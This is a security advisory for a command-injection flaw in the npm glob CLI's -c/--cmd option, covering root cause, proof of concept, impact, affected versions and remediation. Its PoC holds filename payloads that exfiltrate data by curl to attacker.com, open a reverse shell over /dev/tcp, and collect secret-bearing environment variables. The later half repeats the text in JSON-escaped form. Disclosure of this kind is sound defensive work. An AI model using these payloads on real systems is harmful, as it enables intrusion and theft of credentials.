CWE

CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Summary

Glob matches files using patterns the shell uses. Starting in version 10.2.0 and prior to versions 10.5.0 and 11.1.0, the glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> are used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges. This issue has been patched in versions 10.5.0 and 11.1.0.

7.5 (High) - CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

glob CLI: Command injection via -c/--cmd executes matches with shell:true

Details

Summary

The glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> is used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges.

Details

Root Cause: The vulnerability exists in src/bin.mts:277 where the CLI collects glob matches and executes the supplied command using foregroundChild() with shell: true:

javascript stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))

Technical Flow: 1. User runs glob -c <command> <pattern> 2. CLI finds files matching the pattern 3. Matched filenames are collected into an array 4. Command is executed with matched filenames as arguments using shell: true 5. Shell interprets metacharacters in filenames as command syntax 6. Malicious filenames execute arbitrary commands

Affected Component: - CLI Only: The vulnerability affects only the command-line interface - Library Safe: The core glob library API (glob(), globSync(), streams/iterators) is not affected - Shell Dependency: Exploitation requires shell metacharacter support (primarily POSIX systems)

Attack Surface: - Files with names containing shell metacharacters: $(), backticks, ;, &, |, etc. - Any directory where attackers can control filenames (PR branches, archives, user uploads) - CI/CD pipelines using glob -c on untrusted content

PoC

Setup Malicious File: ```bash mkdir test_directory && cd test_directory

Create file with command injection payload in filename

touch '$(touch injected_poc)' ```

Trigger Vulnerability: ```bash

Run glob CLI with -c option

node /path/to/glob/dist/esm/bin.mjs -c echo "*/" ```

Result: - The echo command executes normally - Additionally: The $(touch injected_poc) in the filename is evaluated by the shell - A new file injected_poc is created, proving command execution - Any command can be injected this way with full user privileges

Advanced Payload Examples:

Data Exfiltration: ```bash

Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)

touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)' ```

Reverse Shell: ```bash

Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)

touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)' ```

Environment Variable Harvesting: ```bash

Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)

touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)' ```

Impact

Arbitrary Command Execution: - Commands execute with full privileges of the user running glob CLI - No privilege escalation required - runs as current user - Access to environment variables, file system, and network

Real-World Attack Scenarios:

1. CI/CD Pipeline Compromise: - Malicious PR adds files with crafted names to repository - CI pipeline uses glob -c to process files (linting, testing, deployment) - Commands execute in CI environment with build secrets and deployment credentials - Potential for supply chain compromise through artifact tampering

2. Developer Workstation Attack: - Developer clones repository or extracts archive containing malicious filenames - Local build scripts use glob -c for file processing - Developer machine compromise with access to SSH keys, tokens, local services

3. Automated Processing Systems: - Services using glob CLI to process uploaded files or external content - File uploads with malicious names trigger command execution - Server-side compromise with potential for lateral movement

4. Supply Chain Poisoning: - Malicious packages or themes include files with crafted names - Build processes using glob CLI automatically process these files - Wide distribution of compromise through package ecosystems

Platform-Specific Risks: - POSIX/Linux/macOS: High risk due to flexible filename characters and shell parsing - Windows: Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL - Mixed Environments: CI systems often use Linux containers regardless of developer platform

Affected Products

Ecosystem: npm
Package name: glob
Component: CLI only (src/bin.mts)
Affected versions: v10.2.0 through v11.0.3 (and likely later versions until patched)
Introduced: v10.2.0 (first release with CLI containing -c/--cmd option)
Patched versions: 11.1.0and 10.5.0

Scope Limitation: - Library API Not Affected: Core glob functions (glob(), globSync(), async iterators) are safe - CLI-Specific: Only the command-line interface with -c/--cmd option is vulnerable

Remediation

Upgrade to glob@10.5.0, glob@11.1.0, or higher, as soon as possible.
If any glob CLI actions fail, then convert commands containing positional arguments, to use the --cmd-arg/-g option instead.
As a last resort, use --shell to maintain shell:true behavior until glob v12, but take care to ensure that no untrusted contents can possibly be encountered in the file path results.

Malicious filenames execute arbitrary commands\n\n**Affected Component:**\n- **CLI Only:** The vulnerability affects only the command-line interface\n- **Library Safe:** The core glob library API (`glob()`, `globSync()`, streams/iterators) is not affected\n- **Shell Dependency:** Exploitation requires shell metacharacter support (primarily POSIX systems)\n\n**Attack Surface:**\n- Files with names containing shell metacharacters: `$()`, backticks, `;`, `\u0026`, `|`, etc.\n- Any directory where attackers can control filenames (PR branches, archives, user uploads)\n- CI/CD pipelines using `glob -c` on untrusted content\n\n### PoC\n\n**Setup Malicious File:**\n```bash\nmkdir test_directory \u0026\u0026 cd test_directory\n\n# Create file with command injection payload in filename\ntouch \u0027$(touch injected_poc)\u0027\n```\n\n**Trigger Vulnerability:**\n```bash\n# Run glob CLI with -c option\nnode /path/to/glob/dist/esm/bin.mjs -c echo \"**/*\"\n```\n\n**Result:**\n- The echo command executes normally\n- **Additionally:** The `$(touch injected_poc)` in the filename is evaluated by the shell\n- A new file `injected_poc` is created, proving command execution\n- Any command can be injected this way with full user privileges\n\n**Advanced Payload Examples:**\n\n**Data Exfiltration:**\n```bash\n# Filename: $(curl -X POST https://attacker.com/exfil -d \"$(whoami):$(pwd)\" \u003e /dev/null 2\u003e\u00261)\ntouch \u0027$(curl -X POST https://attacker.com/exfil -d \"$(whoami):$(pwd)\" \u003e /dev/null 2\u003e\u00261)\u0027\n```\n\n**Reverse Shell:**\n```bash\n# Filename: $(bash -i \u003e\u0026 /dev/tcp/attacker.com/4444 0\u003e\u00261)\ntouch \u0027$(bash -i \u003e\u0026 /dev/tcp/attacker.com/4444 0\u003e\u00261)\u0027\n```\n\n**Environment Variable Harvesting:**\n```bash\n# Filename: $(env | grep -E \"(TOKEN|KEY|SECRET)\" \u003e /tmp/secrets.txt)\ntouch \u0027$(env | grep -E \"(TOKEN|KEY|SECRET)\" \u003e /tmp/secrets.txt)\u0027\n```\n\n### Impact\n\n**Arbitrary Command Execution:**\n- Commands execute with full privileges of the user running glob CLI\n- No privilege escalation required - runs as current user\n- Access to environment variables, file system, and network\n\n**Real-World Attack Scenarios:**\n\n**1. CI/CD Pipeline Compromise:**\n- Malicious PR adds files with crafted names to repository\n- CI pipeline uses `glob -c` to process files (linting, testing, deployment)\n- Commands execute in CI environment with build secrets and deployment credentials\n- Potential for supply chain compromise through artifact tampering\n\n**2. Developer Workstation Attack:**\n- Developer clones repository or extracts archive containing malicious filenames\n- Local build scripts use `glob -c` for file processing\n- Developer machine compromise with access to SSH keys, tokens, local services\n\n**3. Automated Processing Systems:**\n- Services using glob CLI to process uploaded files or external content\n- File uploads with malicious names trigger command execution\n- Server-side compromise with potential for lateral movement\n\n**4. Supply Chain Poisoning:**\n- Malicious packages or themes include files with crafted names\n- Build processes using glob CLI automatically process these files\n- Wide distribution of compromise through package ecosystems\n\n**Platform-Specific Risks:**\n- **POSIX/Linux/macOS:** High risk due to flexible filename characters and shell parsing\n- **Windows:** Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL\n- **Mixed Environments:** CI systems often use Linux containers regardless of developer platform\n\n### Affected Products\n\n- **Ecosystem:** npm\n- **Package name:** glob\n- **Component:** CLI only (`src/bin.mts`)\n- **Affected versions:** v10.2.0 through v11.0.3 (and likely later versions until patched)\n- **Introduced:** v10.2.0 (first release with CLI containing `-c/--cmd` option)\n- **Patched versions:** 11.1.0and 10.5.0\n\n**Scope Limitation:**\n- **Library API Not Affected:** Core glob functions (`glob()`, `globSync()`, async iterators) are safe\n- **CLI-Specific:** Only the command-line interface with `-c/--cmd` option is vulnerable\n\n### Remediation\n\n- Upgrade to `glob@10.5.0`, `glob@11.1.0`, or higher, as soon as possible.\n- If any `glob` CLI actions fail, then convert commands containing positional arguments, to use the `--cmd-arg`/`-g` option instead.\n- As a last resort, use `--shell` to maintain `shell:true` behavior until glob v12, but take care to ensure that no untrusted contents can possibly be encountered in the file path results.",

Starting in version 10.2.0 and prior to versions 10.5.0 and 11.1.0, the glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c \u003ccommand\u003e \u003cpatterns\u003e are used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges.
